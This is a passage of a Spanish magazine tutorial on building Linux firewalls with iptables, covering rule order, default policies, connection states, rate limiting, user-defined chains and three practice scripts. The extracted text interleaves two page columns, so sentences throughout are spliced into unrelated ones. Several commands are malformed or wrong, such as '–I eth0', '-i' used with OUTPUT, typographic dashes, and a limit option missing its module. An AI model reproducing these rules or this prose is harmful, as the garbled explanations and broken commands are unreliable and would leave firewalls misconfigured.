INPUT NO ES lo que ENTRA en la nos sale un mensaje que indica que eso no está permitido tarjeta de red del cortafuegos.... como tenemos que pensar como un cortafuegos, INPUT aplicará las reglas que es que ENTRAN en el cortafuegos, Veamos qué pasa cuando es el propio cortafuegos el que efectúa el ping.... primero lo haremos sin indicar nada a IPTables y luego con la regla que nos ocupa... Página 46 PC PASO A PASO Nº 23
  • 47. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) ¿Y qué pasó en el esnifer? NADA ¿por qué? Porque en las reglas de INPUT, obligamos al cortafuegos a comprobar con su tabla de reglas TODOS los paquetes aunque estos no tengan que aplicarse, es decir, le cargamos con un trabajo innecesario puesto que puede haber paquetes que deban traspasar el cortafuegos y sin embargo le obligamos a comprobarlos, en resumen, más trabajo para hacer lo mismo, más ciclos de procesador, mayor consumo de memoria y más gasto ¿Y si con esta regla enviamos un ping desde la otra de recursos en general. máquina que no es el cortafuegos? Realmente esta paradoja la podremos solventar con IPTables cuando aprendamos que también se pueden aplicar las reglas sobre una tarjeta de red en concreto, ya sean de entrada o de salida, entonces haremos más e f e c t i va s l a s r e g l a s , a e s p e ra r u n p o q u i t o. . . ¿Y eso de que deben aplicarse cuanto más cerca del origen mejor?, ¿no lo entiendo? Vaya, lo mismo... veamos qué pasó a tcpdump en el cortafuegos.... Pues muy sencillo, imagina un cortafuegos con dos tarjetas de red, uno para conectar la red protegida a Internet y otro para la propia red interna, para hacerlo más fácil, imagina tu router, tiene una interfaz WAN xDSL para salir a Internet y otra ethernet para tu red interna. Si aplicamos las reglas de filtrado a los paquetes que provienen de Internet en la interfaz ethernet, los bloquearemos, pero hemos dejado pasar ese paquete de Vaya, vaya... esto está mejor... seguimos teniendo el datos hasta la red interna, hubiera sido mejor aplicar los asunto del ARP, pero parece que efectivamente hace lo filtros necesarios en la interfaz WAN, si desde allí se que queremos, al ser un filtro OUTPUT, los paquetes entran rechazan, tendremos mayor seguridad en la red interna pero no salen.... puesto que NUNCA llegarán a la misma. Todo esto que parece un lío padre, es MUY IMPORTANTE, Por otra parte, no hemos solucionado o respondido a la que lo entiendas bien, de esto desprendemos: pregunta de ¿qué pasa si hay más reglas? Y ¿dónde se añaden? La misma regla la podemos aplicar a la tabla INPUT Bien, las reglas se aplican de arriba abajo, u OUTPUT y aunque aparentemente obtenemos el secuencialmente, de tal forma que las reglas que permitan mismo resultado, desde el punto de vista de la tarjeta el paso de un paquete ceden el control a las que vengan de red, no es igual. más abajo, mientras que las reglas que rechacen un Los paquetes ARP no pertenecen al conjunto de paquete no pasan el control a las siguientes, por ejemplo, protocolos IP imagina esto: “parece ser” que es mejor utilizar reglas OUTPUT iptables –A INPUT –p ip –j DROP ¿Dónde son más efectivas las reglas? iptables –A INPUT –p ip –j ACCEPT Hay quien defiende que, es más productivo implementar La segunda regla aceptará cualquier paquete de datos filtros de salida que de entrada y cuanto más cerca entrante al cortafuegos, pero no se procesará puesto que del origen estén, mejor. antes hay otra que le dice justamente lo contrario. PC PASO A PASO Nº 23 Página 47
  • 48. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Sin embargo, esto: que tendremos que utilizar INPUT en lugar de OUTPUT, lo importante ahora es que hayas cogido “el iptables –A INPUT –p ip –j ACCEPT concepto” iptables –A INPUT –p ip –j DROP iptables –A INPUT –p ip –j REJECT Es conveniente eliminar las tablas anteriores y reglas previas usando iptables –X e iptables –F No tiene ningún sentido, puesto que se aceptan todos los y esa “conveniencia” será una obligación si queremos paquetes, luego se desechan, después se rechazan, nunca empezar de cero... pasaría a la segunda regla, sería lo mismo que haber incluido la primera únicamente. Sigamos con el resto de opciones y características... ahora se me plantea una duda.... ¿Te pongo la vida y obra de La opción –A es Append (añadir al final) por lo que si no cada opción, protocolo, sintaxis, parámetros, determinantes, eliminamos las reglas y/o tablas anteriores no serán etc.. o lo hacemos mediante un ejemplo y al final te cuento efectivas. el resto de posibilidades que no contemple el ejemplo? Cuando se construye un conjunto de tablas y reglas con Práctica 1. Mi primer Firewall IPTables, lo normal es escribirlas en un fichero de texto y luego ejecutarlo como un script, porque si queremos Bien, esto... vale... llamémoslo Firewall modificar es muy engorroso y en ocasiones no acertaremos en la inserción, ni que decir tiene que si no nos apoyásemos Se trata de lo siguiente, Construir un cortafuegos que en el script tendríamos que “re-escribir” todas las reglas bloquee todo el tráfico TCP y UDP a todos los equipos de nuevo, eso es una pelmada aunque dispongamos del excepto a la IP 172.28.0.50.... pero eso sí... esa IP podrá historial de últimos comandos. acceder al puerto telnet de la máquina que protege el cortafuegos, y además, sí estará permitido el tráfico de Para eliminar las reglas y las tablas definidas, se usa cualquier tipo de la interfaz loopback. la opción –F y/ó –X junto con el comando IPTables, por Dicho de otro modo, todo el mundo puede enviar pings el momento no te preocupes de ello, piensa que ANTES de y otros tipos de tráfico ICMP pero nadie excepto la máquina empezar a definir un nuevo sistema de cortafuegos, primero con IP 172.28.0.50 puede hacer telnet al host., igualmente, hay que teclear los comandos nadie, ni tan siquiera la máquina 172.28.0.50 puede acceder por UDP y se permite cualquier tráfico de loopback Iptables –X en el mismo cortafuegos y/o servidor telnet. Iptables –F El escenario es: Resumiendo : Red Interna: 172.28.0.0/16 Para utilizar las reglas y filtros debemos ponernos Cortafuegos y Servidor Telnet: 172.28.0.200 en el papel del cortafuegos Paso 1º) Borrar tablas y cadenas anteriores Hay que determinar dónde serán más efectivas iptables –F las reglas, como INPUT o en OUTPUT para no gastar iptables –X tantos recursos, sin embargo en la sabia combinación Diferencias entre –F y –X de reglas entre INPUT y OUTPUT dotaremos a nuestro cortafuegos de una gran potencia y capacidad. -F se utiliza para vaciar una cadena, es eliminar las reglas que contiene una cadena Es conveniente filtrar tan cerca como sea posible -X se utiliza para eliminar una cadena de usuario y de la red externa o de las redes en las que no confiamos no se puede utilizar –X con las cadenas y tablas Y ahora “la excepción”, esto no quiere decir que no predefinidas (INPUT, OUTPUT, FORWARD, PREROUTING se deban o puedan aplicarse reglas en la tabla INPUT, Y POSTROUTING) y tampoco podrás eliminar la cadena ni que no sean efectivas, ya veremos más adelante definida por el usuario si contiene alguna regla. Página 48 PC PASO A PASO Nº 23
  • 49. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Recuerda la filosofía de IPTables ! La creación... Las reglas contienen los parámetros y el comportamiento que debe tener el cortafuegos La creación de cadenas definidas por el usuario las veremos en el siguiente ejemplo de cortafuegos. Las cadenas contienen reglas, hay cadenas “predefinidas” por IPTables y pueden existir otras cadenas definidas por el usuario Paso 2º) Poner a cero los contadores de paquetes de una cadena Las tablas (filter, nat y mangle) contienen cadenas iptables –Z predefinidas y/o de usuario. La sintaxis para usar –X o –F es igual en ambas Los contadores muestran el número de paquetes y los bytes que ha procesado una cadena y sus reglas asociadas, iptables –t tabla –F cadena es útil para auditar y obtener estadísticas de los iptables –t tabla –X cadena filtros establecidos. Si no se indica el nombre de la tabla, se asume que afectará a la tabla filter, si queremos que se aplique a La sintaxis del comando es otra tabla que no sea filter será obligatorio indicar el nombre de la misma, esto es aplicable a todo lo que digamos de iptables –t tabla –Z cadena iptables Como antes, si no se indica –t tabla se asume filter Es importante respetar el uso de mayúsculas y y si no se incluye la cadena se asume que son TODAS las minúsculas, esto también es aplicable a todo el conjunto cadenas, por tanto el comando iptables –Z realmente de reglas, tablas, cadenas y opciones de IPTables. pondría a cero los contadores de las cadenas de la tabla filter, pero no de nat ni de mangle Otros Ejemplos: Más ejemplos: iptables –t filter –F INPUT sería lo mismo que iptables –F INPUT y vaciaría las reglas de la cadena INPUT en la iptables –t nat –Z, puesta a cero de todas las cadenas tabla filter de la tabla nat iptables –t nat –F PREROUTING , vacía las reglas de la iptables –t filter –Z OUTPUT, sería lo mismo que iptables tabla nat y cadena PREROUTING –Z OUTPUT y pondría a cero los contadores de la tabla filter para la cadena OUTPUT. iptables –t filter –F IP_baneadas, vacía las reglas de la cadena de usuario IP_baneadas, si la cadena no está Pregunta: ¿será necesario este paso? previamente creada, dará un error. iptables –X IP_baneadas, elimina la cadena de usuario Pues NO, porque si previamente ya hemos borrado TODAS de la tabla filter (observa que no se indicó –t filter), si la las reglas y TODAS las cadenas de usuario, los contadores cadena IP_baneadas contiene alguna regla, provocará un ya están a cero, pero tenía que contar lo de las estadísticas error. iptables –X INPUT, provocará un error porque no se Paso 3º) Aceptamos todos los paquetes entrantes, pueden eliminar las cadenas predefinidas salientes y de reenvío Por tanto, si usamos iptables –F vaciaremos TODAS las tablas, tanto las predefinidas como las de usuario y iptables –P INPUT ACCEPT al usar iptables –X ELIMINAMOS TODAS las cadenas iptables –P OUTPUT ACCEPT de usuario. iptables –P FORWARD ACCEPT PC PASO A PASO Nº 23 Página 49
  • 50. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) A esta operación se le denomina establecer la directiva También podríamos usar ! eth0, que sería la que NO SEAN predeterminada eth0 Recuerda bien esto, si usamos ACCEPT como directiva -j ACCEPT, esto hay quien les llama dianas de IPtables, predeterminada tendremos que negar explícitamente el no es más que la acción a ejecutar por la regla, en este tráfico que no queramos dejar salir o entrar, si usamos caso aceptar los paquetes. DROP en lugar de ACCEPT tendremos que aceptar explícitamente el tráfico que queramos que entre o salga. Las dianas o acciones admitidas son: Un cortafuegos restrictivo utilizaría DROP como ACCEPT-DROP-REJECT-LOG, que son admitidas por directiva predeterminada, de ese modo, todo aquello que todas las tablas no haya sido explícitamente permitido se bloqueará, dicho de otro modo, si no existen reglas que contengan ACCEPT RETURN, para las cadenas definidas por el usuario o si existen pero no se cumplen, el tráfico se desecha “por defecto” DNAT-MASQ-REDIRECT-SNAT, para la tabla nat La sintaxis completa del comando sería: MARK-MIRROR-QUEUE-TOS-TTL-ULOG, que no son muy usadas pero que alguna aplicación les buscaremos iptables –P cadena directiva Las directivas posibles son las acciones a ejecutar, Las dianas de NAT las abordaremos en el próximo ACCEPT, REJECT o DROP (aceptar, rechazar o artículo, desechar) y sólo tendrán directivas las cadenas de la tabla filter, o sea, que si hacemos: Por el momento nos quedamos con: iptables –P prueba ACCEPT, acepta los paquetes de la cadena Y la cadena prueba pertenece a la tabla nat o mangle, DROP, desecha los paquetes sin informar al origen tendremos un bonito error. REJECT, descarta los paquetes e informa al origen Paso 4º) Aceptar todo el tráfico que proceda de la interfaz loopback LOG, registra un suceso en un servidor syslog, lo veremos en próximos artículos. iptables –A INPUT –i lo –j ACCEPT RETURN, que regresa a la regla posterior tras haber Mmm, muchas cosas…. procesado una cadena de usuario, lo veremos más adelante en este mismo artículo Primero –A, esto añade la regla AL FINAL de las que existan. MIRROR, hay que usarla con cuidado porque puede causar problemas en la red, lo que hace es cambiar el orden en Si quisiéramos insertarla al principio o “entre medias” las IP’s origen y destino para los paquetes TCP y/o UDP u t i l i z a r e m o s – I , e s t o l o ve r e m o s m á s t a r d e . y después se retransmite el paquete modificado, o sea, que “rebotamos” el paquete.... dicho “a lo bestia” alguien INPUT, la cadena a utilizar... entrada... nos envía un paquete no deseado y se lo devolvemos tal -i lo, simboliza la interfaz de loopback, para hacer cual.... o un exploit referencia a la interfaz ethernet usaremos eth0, eth1, eth2.... o si queremos hacer referencia a todas las TOS, sólo se usa con la tabla mangle y permite cambiar interfaces ethernet podemos usar eth+ el Tipo de Servicio Página 50 PC PASO A PASO Nº 23
  • 51. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) TTL, modifica el tiempo de vida de un paquete IP. Si queremos excluir una red o una IP usaremos el signo de admiración ! Antes de la IP o red Las otras... como si no existieran... Ejemplos: Además REJECT, LOG, TTL y las dianas de NAT tienen opciones específicas, excepto para nat, al final te pondré iptables –A INPUT –i eth0 –s ! 172.28.0.0/16 –p tcp --dport 25 –j ACCEPT algunos ejemplos. iptables –A OUTPUT –i eth0 –d ! 195.235.96.90 –p udp --dport 53 –j DROP Paso 5º) Permitir el tráfico ICMP de cualquier origen ! Nota acerca del... Esto realmente no tendría ni por qué incluirse, puesto que si se permiten todos no hace falta regla.. pero bueno, hay Nota acerca del signo de admiración... utiliza espacios que explicar la sintaxis... ANTES y DESPUÉS del signo, en caso contrario LiNUX interpretaría que quieres ejecutar algún comando o llamadas iptables –A INPUT –i eth0 –p icmp –j ACCEPT a la shell y tendrás un error. Más que nada comentar que –p icmp identifica al protocolo, otros protocolos válidos para la opción –p son: udp, tcp Podemos usar los siguientes parámetros adicionales que a su vez pueden contener otras opciones como puerto tanto para tcp como para udp: origen, flag, puerto destino, indicadores tcp, opciones de tcp... en las próximas reglas las veremos... --sport puerto, Establece el puerto origen --dport puerto, Establede el puerto destino En cuanto al protocolo icmp podemos asignar las opciones -m multiport [lista de puertos] --source-port, de tipo y código y hasta responder con diferentes establece múltiples puertos origen mensajes... cuando usemos icmp con dianas REJECT te lo -m multiport [lista de puertos] --destination- explicaré, por el momento nos sirve aprender esto de –p port, establece múltiples puertos origen protocolo Ejemplos: Paso 6º) Permitir las conexiones TELNET cuya IP origen sea 172.28.0.50 iptables –A INPUT –i eth0 –p tcp --dport 25 –j ACCEPT iptables –A OUTPUT –i eth0 –p tcp –m multiport --source-port 21,25,110 –j ACCEPT iptables –A INPUT –i eth0 –s 172.28.0.50 –p tcp --dport 23 –j ACCEPT También tenemos algunos exclusivos para tcp: -s representa a la IP o red origen, si queremos aplicar el filtro a toda una red usaremos la forma: --syn, que se utiliza para representar el indicador IP/mascara ó IP 255.xxx.xxx.xxx, sería lo mismo, SYN y que las señales ACK y FIN no están por ejemplo si quisiéramos que toda la red 172.28.0.0 establecidas, es decir, para asegurarnos que se trata pueda acceder al puerto destino 80, escribiríamos: de una nueva conexión. iptables –A INPUT –i eth0 –s 172.28.0.0/16 –p tcp --dport 80 –j ACCEPT --tcp-flags [señales], que pueden ser SYN, ACK, O también FIN, RST, PSH, URG o una combinación de ellas, utiliza dos parámetros, el primero una lista de señales iptables –A INPUT –i eth0 –s 172.28.0.0 255.255.0.0 –p tcp --dport 80 –j ACCEPT separadas por una coma y el segundo la señal que debe estar activada, por ejemplo. Igualmente podemos utilizar reglas para la IP destino o red destino, esto se consigue utilizando el --tcp-flags SYN, ACK, FIN SYN esto quiere decir parámetro –d seguido de la red o IP en cuestión. que se comprobarán los indicadores SYN, ACK y FIN, PC PASO A PASO Nº 23 Página 51
  • 52. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) y requiere que de éstos, sólo esté establecido el ACCEPT indicador SYN iptables –A INPUT –I eth0 –p tcp –j DROP iptables –A OUTPUT –i eth0 –p tcp –j REJECT Incluso hay determinantes para establecer el estado de las opciones de TCP, SACK, TCP Window Size, ¿qué pasará? NULL, TIMESTAMP... estas no las comentaré ahora, que ya está bien... Pues que no habrá comunicación, ni por el puerto 80 destino (--dport 80) ni por ninguno, pero no por Lo que SI te recomiendo es repasar el curso de la línea de DROP, sino por la última, es OTRA TCP/IP que se está desarrollando para entender bien CADENA que descarta TODO el tráfico TCP esto de las señales flags y puertos... también en los saliente, entrar, entra... pero NO SALDRÁ artículos de snort hicimos varias incursiones a TCP y por supuesto, en el Taller que celebramos en los ¿Y si quitamos la última línea? foros de hackxcrack, no obstante sería de interés que dispusieras de las tablas de los formatos de datagrama Pues habrá comunicación... pero SOLO POR EL TCP, UDP, TCP... los puedes conseguir en: PUERTO 80, puesto que aunque hay otra regla que bloquea todo el tráfico TCP, las conexiones por el http://www.forohxc.com/Docs/fw/ipt/tablas.pdf puerto 80 destino se permitieron antes y ambas pertenecen a la misma cadena, INPUT en este caso... Paso 7º) Denegar el resto del tráfico TCP y UDP a todo el mundo Esto trae consigo otra advertencia... hay que guardar especial cuidado con los paquetes que se iptables –A INPUT –i eth0 –p tcp --syn –j DROP bloquean y con los paquetes que se permiten, más iptables –A INPUT –I eth0 –p udp –j DROP concretamente con el orden de las reglas dentro de una misma cadena... Estas no creo que hagan falta explicarlas después de todo lo dicho... sólo una cosa.... ¿Qué pasaría si se hubiese escrito así? Igual ahora no lo entiendes... pero.... hay que tener iptables –F cuidado y comprender bien como funcionan.. parece iptables –X sencillo (y lo es) pero hay que hacer notar algo iptables –P INPUT ACCEPT importante de ACCEPT iptables –P OUTPUT ACCEPT iptables –P FORWARD ACCEPT ACCEPT, acepta el paquete para esa cadena... iptables –A INPUT –I eth0 –p tcp –j DROP pero si existe otra cadena que bloquee el paquete de iptables –A INPUT –i eth0 –p tcp –dport 80 –j datos NO PASARÁ y repito y lo resalto: si existe ACCEPT otra cadena con reglas de bloqueo Pues que NO entrarán paquetes con destino al ¿Crees que lo entiendes? Pues responde a esto: puerto 80 de TCP, ni por ninguno... porque se rechazan TODOS antes de aceptar los permitidos. iptables –F iptables –X Es decir, DROP y REJECT bloquean los paquetes de iptables –P INPUT ACCEPT datos y no se procesarán ACCEPT posteriores iptables –P OUTPUT ACCEPT para la cadena utilizada ni para otras cadenas, iptables –P FORWARD ACCEPT mientras que ACCEPT los acepta pero continúa iptables –A INPUT –i eth0 –p tcp --dport 80 –j procesando las reglas de otras cadenas. Página 52 PC PASO A PASO Nº 23
  • 53. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Bueno, pues nuestros comandos, ahora todos juntos Algo fundamental en cualquier cortafuegos: serían: EL ESTADO DE LA CONEXIÓN iptables –F iptables –X Se puede comprobar si un paquete está asociado iptables –Z con una conexión mediante –m state --state iptables –P INPUT ACCEPT iptables –P OUTPUT ACCEPT Ya... muy bueno... y esto para qué sirve.... iptables –P FORWARD ACCEPT iptables –A INPUT –i lo –j ACCEPT Bien, ya dijimos que IPTables es un firewall de iptables –A INPUT –i eth0 –p icmp –j ACCEPT inspección de paquetes con estado, esto es, que iptables –A INPUT –i eth0 –s 172.28.0.50 –p “sigue” las sesiones entre los host de la red que se tcp --dport 23 –j ACCEPT comunican a través o con el cortafuegos y “conoce” iptables –A INPUT –i eth0 –p tcp --syn –j DROP si una comunicación es parte de otra o relacionada iptables –A INPUT –I eth0 –p udp –j DROP con otra... Así que disponemos de cuatro posibles estados ¿Y dónde pongo esto? en las conexiones: Pues lo puedes poner directamente en la línea de NEW: Son conexiones nuevas desde o hacia el terminal escribiendo los comandos uno a uno... o cortafuegos, son conexiones que todavía no han también... creándote un archivo de texto y dándole intercambiado paquetes, es decir pensando en TCP... permisos de ejecución, por ejemplo, si lo guardamos son conexiones SYN en un archivo que se llame iptfw1, le cambiamos los permisos mediante chmod +x ./ipfw1 y lo ESTABLISHED: Son conexiones ya establecidas, ejecutamos mediante ./iptfw1 que ya intercambiaron paquetes anteriormente Esto es más cómodo ya que si nos equivocamos o RELATED: Es una conexión nueva relacionada con nos da errores, o las reglas no funcionan como otra que ya fue establecida... por ejemplo, imagina esperábamos, siempre podremos editar el archivo y una comunicación establecida y que precisa de un no tener que teclear de nuevo todos los comandos... nuevo puerto o nuevo servicio para seguir con ella, esa nueva comunicación sería RELATED, ejemplo Bueno, iptables también tiene un editor por línea más claro un FTP, dispone de una conexión de control de comandos, utilizando las opciones –I, -E, -L, y o t ra d e d a t o s . . . . a m b a s r e l a c i o n a d a s . -v , -D y alguna otra más... pero es más complicado INVALID: Pues eso, inválidas, bien por problemas y son ganas de perder el tiempo en algo que es tan en la comunicación, pérdida de paquetes, errores sencillo como editar el archivo, modificarlo, guardarlo checksum, cabeceras incorrectas.... y volverlo a ejecutar, ni comento las posibilidades de edición. Con estos estados podemos hacer muchas cosas... por ejemplo, nuestro segundo firewall Bien, antes de construir un cortafuegos “en condiciones” vamos a explicar algunas opciones MUY Práctica 2. Mi segundo Firewall importantes en la construcción de reglas y algo de shell script que necesitaremos para el desarrollo del Queremos construir un cortafuegos MUY restrictivo mismo. que permita sólo el tráfico de salida a Internet por el puerto 80 y bloquee TODO el tráfico entrante. PC PASO A PASO Nº 23 Página 53
  • 54. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) iptables –F Otra de los estados de conexión interesantes de cara iptables –X al cortafuegos es: iptables –Z iptables –P INPUT DROP LIMITE DE FRECUENCIA iptables –P OUTPUT DROP Este parámetro nos permite especificar el número iptables –P FORWARD DROP de veces que una regla es cotejada con resultado iptables –A INPUT –m state --state INVALID –j positivo en un tiempo dado DROP iptables –A INPUT –m state --state Los ejemplos más claros los encontraremos en ESTABLISHED, RELATED –j ACCEPT cortafuegos que detectan inundaciones syn, flooding iptables –A OUTPUT –m state --state o denegaciones de servicios, para esto es muy ESTABLISHED, RELATED –j ACCEPT recomendado este parámetro. iptables –A OUTPUT –m state --state NEW –p Podemos usar dos indicadores: tcp --dport 80 –j ACCEPT --limit: Que especifica la frecuencia máxima permitida Como se trata de un firewall restrictivo, usamos y si no se indica se asume 3 paquetes por hora. DROP como directiva predeterminada, así que todo --limit-burst: permite que una ráfaga de paquetes lo que no esté aceptado explícitamente se sea examinada con la regla antes que se aplique el rechazará... límite de velocidad indicado en --limit En la cadena INPUT , rechazamos las conexiones Los espacios de tiempo pueden ser: second, minute, inválidas y aceptamos aquellas que entren pero que hour, day (segundos, minutos, horas, días) hayan sido previamente establecidas o relacionadas. Por ejemplo: En la cadena OUTPUT permitimos salir las conexiones iptables –A INPUT –m limit --limit 7/second --limit-burst 15 –j DROP establecidas o relacionadas y en la última línea dejamos salir aquellas conexiones que vayan dirigidas Este comando establece un umbral para aceptar hasta 15 paquetes SYN, a partir de ese momento y al puerto 80. hasta que se recargue la regla, no se aceptarán más de 7 SYN por segundo, todos aquellos que sobrepasen Observa que cuando esa regla se cumpla, las esa cadencia de tiempo serán desechados. comunicaciones siguientes ya no serán NEW, sino ESTABLISHED o RELATED, y se les aplicarán la regla No todos los servidores tienen el mismo rendimiento, anterior. es posible que el límite y el umbral establecidos no sean adecuados, hay que revisar los logs y verificar También hay que resaltar que todo el tráfico ICMP que no se estén desechando paquetes indebidamente será rechazado (entrante y saliente) y lo mismo y luego modificar el límite, el umbral o ambos. ocurrirá con el tráfico UDP, por lo que no estría de Otra de las características interesantes de IPTables más añadir esta otra regla: es el uso de cadenas definidas por el usuario y variables. iptables –A OUTPUT –m state --state NEW –p udp --dport 53 –j ACCEPT Cadenas Definidas por el usuario y variables Así podremos facilitar la comunicación con los servidores DNS de nuestros proveedores de Internet Con esto podemos ajustar o personalizar el y contar con sus servicios. cortafuegos, hacerlo más accesible y transportable, más escalable... bueno al final de este artículo lo entenderás mejor... ahora sólo pondremos un ejemplo. Página 54 PC PASO A PASO Nº 23
  • 55. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Para crear una cadena de usuario se utiliza iptables –N nombre_de_la_cadena # REGLAS DE REGISTRO PARA LOS PAQUETES DESECHADOS Y luego se pueden añadir las reglas mediante iptables $IPT –A BASURA –j LOG –log-prefix “IPT –A nombre_de_la_cadena ..... como si se tratase Desechos: “ $registra_logs de las cadenas INPUT u OUTPUT de los ejemplos que $IPT –A BASURA –j DROP hemos visto. #REGLAS PARA PAQUETES ENTRANTES Las variables se declaran y definen mediante $IPT –A ENTRADA $flood –j BASURA nombre_variable=”valor” $IPT –A ENTRADA –m state --state INVALID –j DROP Y luego se pueden utilizar mediante: $IPT –A ENTRADA –m state --state $nombre_de_la_variable ESTABLISHED, RELATED –j ACCEPT Práctica 3. TERCER CORTAFUEGOS #REGLAS PARA PAQUETES SALIENTES $IPT –A SALIDA –m state --state ESTABLISHED, Bueno, no hay mucho de nuevo, es la misma base RELATED –j ACCEPT de la práctica segunda, pero usando variables, cadenas $IPT –A SALIDA –m state --state NEW –p tcp de usuario y registro de paquetes desechados en --dport $TCP –j ACCEPT SysLog. $IPT –A SALIDA –m state --state NEW –p udp --dport $UDP –j ACCEPT Te pongo el código todo completo y luego comentamos por partes: #REGLAS PARA CADENAS PREDEFINIDAS INTEGRADAS # VARIABLES DE USUARIO $IPT –A INPUT –j ENTRADA IPT=”/sbin/iptables” $IPT –A INPUT –j BASURA flood=”-m --limit 5/second --limit-burst 10” $IPT –A OUTPUT –j SALIDA TCP=”80” $IPT –A OUTPUT –j BASURA UDP=”53” registra_logs=”--log-level=3 –m limit --limit Como ya sabrás, las líneas que comienzan por el 1/second --limit-burst=10” signo #, son comentarios y no se procesan por el servicio IPTables. # ELIMINACION DE TABLAS, CADENAS Y DIRECTIVA PREDETERMINADA Lo primero que encontramos es “la sección” de $IPT –F variables, se asignan sus valores y más tarde cuando $IPT –X se usen bastará con hacerlas referencia mediante $IPT –Z $nombre, observa que asignamos el valor $IPT –P INPUT DROP /sbin/iptables a la variable $IPT, por tanto en $IPT –P OUTPUT DROP lo sucesivo podremos usar tanto iptables.... como $IPT –P FORWARD DROP $IPT...... , igual ocurre con las demás, simplemente se sustituyen sus valores, véase cuando se usa -- # CREACION DE TABLAS DEFINIDAS POR EL dport $TCP, sería lo mismo que poner --dport 80, USUARIO y así con todas... $IPT –N BASURA $IPT –N ENTRADA La “segunda sección”, la del vaciado de cadenas, $IPT –N SALIDA inicialización, directiva predeterminada, ya la hemos PC PASO A PASO Nº 23 Página 55
  • 56. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) usado y comentado anteriormente, es lo mismo, Fíjate en la primera línea, hubiese sido lo mismo excepto que se usa $IPT en lugar de iptables, es escribir esto: más corto y si un día nos cambian la ubicación del /sbin/iptables –A ENTRADA -m --limit 5/second --limit-burst 10 –j BASURA servicio, sólo tendremos que modificar una línea en el código del cortafuegos pero sobre todo, entiende bien la última parte –j La tercera sección, es la de la creación de cadenas BASURA, es decir, ni ACCEPT, ni DROP, ni REJECT, de usuario, usaremos tres: lo que haga o deje de hacer esta regla se lo damos a la cadena de usuario BASURA que definimos e ENTRADA en la que incluiremos reglas para inicializamos antes, si los paquetes cumplen la regla paquetes entrantes se “pasa el control” a la cadena BASURA, que como SALIDA en la que incluiremos reglas para dijimos, registra en syslog el paquete y lo desecha. paquetes salientes BASURA: que incluiremos reglas para desechar Las reglas definidas para paquetes salientes no y registrar tanto paquetes entrantes como salientes. revierten más misterio que el del uso de la cadena de usuario SALIDA y las variables apropiadas, no Luego nos encontramos con esto comentaré nada más.. # REGLAS DE REGISTRO PARA LOS PAQUETES DESECHADOS Al final, se asignan reglas para las cadenas $IPT –A BASURA –j LOG --log-prefix “IPT Desechos: “ $registra_logs predefinidas, de alguna manera “relacionamos” que $IPT –A BASURA –j DROP la cadena de usuario ENTRADA es para INPUT, Para entender la regla completa, sustituye el valor que SALIDA es para OUTPUT y que BASURA es $registra_logs en la regla.... tanto para INPUT como OUTPUT. Podríamos haber añadido esta otra regla a la cadena Esta cadena por sí sola no hace nada, no lo hará SALIDA al final de la misma hasta que otra la utilice, en ese momento registrará en /var/log/messages los paquetes desechados $IPT –A SALIDA –p tcp –j BASURA con un título que dice IPT Desechos más el contenido del paquete desechado, y luego lo desecha de verdad. Nuestro registro de sucesos, sería bastante grande, puesto que se estarán registrando todos los paquetes A esta regla y cadena, la pueden “llamar” tanto salientes que no cumplan... y serán muchos.... pero cadenas estándar (INPUT, OUTPUT....) como cadenas bueno, tendremos un log de TODO lo que hacen de usuario, en nuestro caso SALIDA o ENTRADA. nuestros clientes que NO ESTE explícitamente permitido. Después nos encontramos con las reglas para paquetes entrantes Ejercicio y práctica para desarrollar en los foros: # REGLAS PARA PAQUETES ENTRANTES Te propongo que implementes un cortafuegos que $IPT –A ENTRADA $flood –j BASURA siga estas reglas: $IPT –A ENTRADA –m state --state INVALID –j DROP $IPT –A ENTRADA –m state --state ESTABLISHED, RELATED –j ACCEPT Será un cortafuegos implementado en un servidor web y cuya misión es sólo proteger al servidor Básicamente es lo mismo que usamos en la práctica web, por tanto, no hay reenvío, no hay NAT (o si segunda, con la técnica de flood. lo hay lo realizará el router). Página 56 PC PASO A PASO Nº 23
  • 57. Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) Sólo necesitaremos una tarjeta de red en el equipo firewall, que es la IP 172.28.0.200 Rechazar el tráfico ICMP desde Internet informado con un mensaje host inalcanzable Rechazar todo el tráfico ICMP desde la red interna que provenga de las IP’s 172.28.13.1 a la 172.28.13.254 que son equipos de una red de pruebas Debemos permitir el tráfico DNS que provenga de nuestro proveedor de Internet que es 195.235.96.90 y 195.235.113.3, también al DNS interno que es la IP 172.28.0.50 Permitir el tráfico telnet sólo al administrador de la red interna, cuya IP es 172.28.0.50 Todas las máscaras de red internas son de una clase B pura, /16 o 255.255.0.0 Rechazar todo lo que no sea tráfico por el puerto 80 y no esté permitido por reglas anteriores La idea de este pequeño ejercicio es que cada uno desarrolle el script “a su manera”, no tienes por qué mantener las mismas IP’s o redes, usa las tuyas propias si lo deseas, luego postea en los foros tus if[ ! –x $IPT] resultados, ya sean positivos o negativos, entre vosotros os ayudaréis si la cosa no te sale “a la Comprueba si /sbin/iptables (que es el valor de primera” y por supuesto, puedes incluir nuevas reglas la variable $IPT) se puede ejecutar, mejor dicho, si así lo requieres. comprueba si NO se puede ejecutar (!) mostrando el error y pidiendo que se revise la configuración. Shell scripts for tabla in filter nat mangle do.... Esto ya se abordó en números anteriores de la revista, sólo te voy a poner unos ejemplos para que Se trata de una estructura repetitiva que toma como comprendas bien lo que viene más adelante. valor filter nat o magle y se lo asigna a la variable tabla por cada iteración del bucle, de ese modo nos Script NOIPT evitaremos repetir 9 veces el vaciado de tablas, cadenas y contadores Este código vacía las cadenas (todas) y establece una directiva por defecto de ACCEPT a 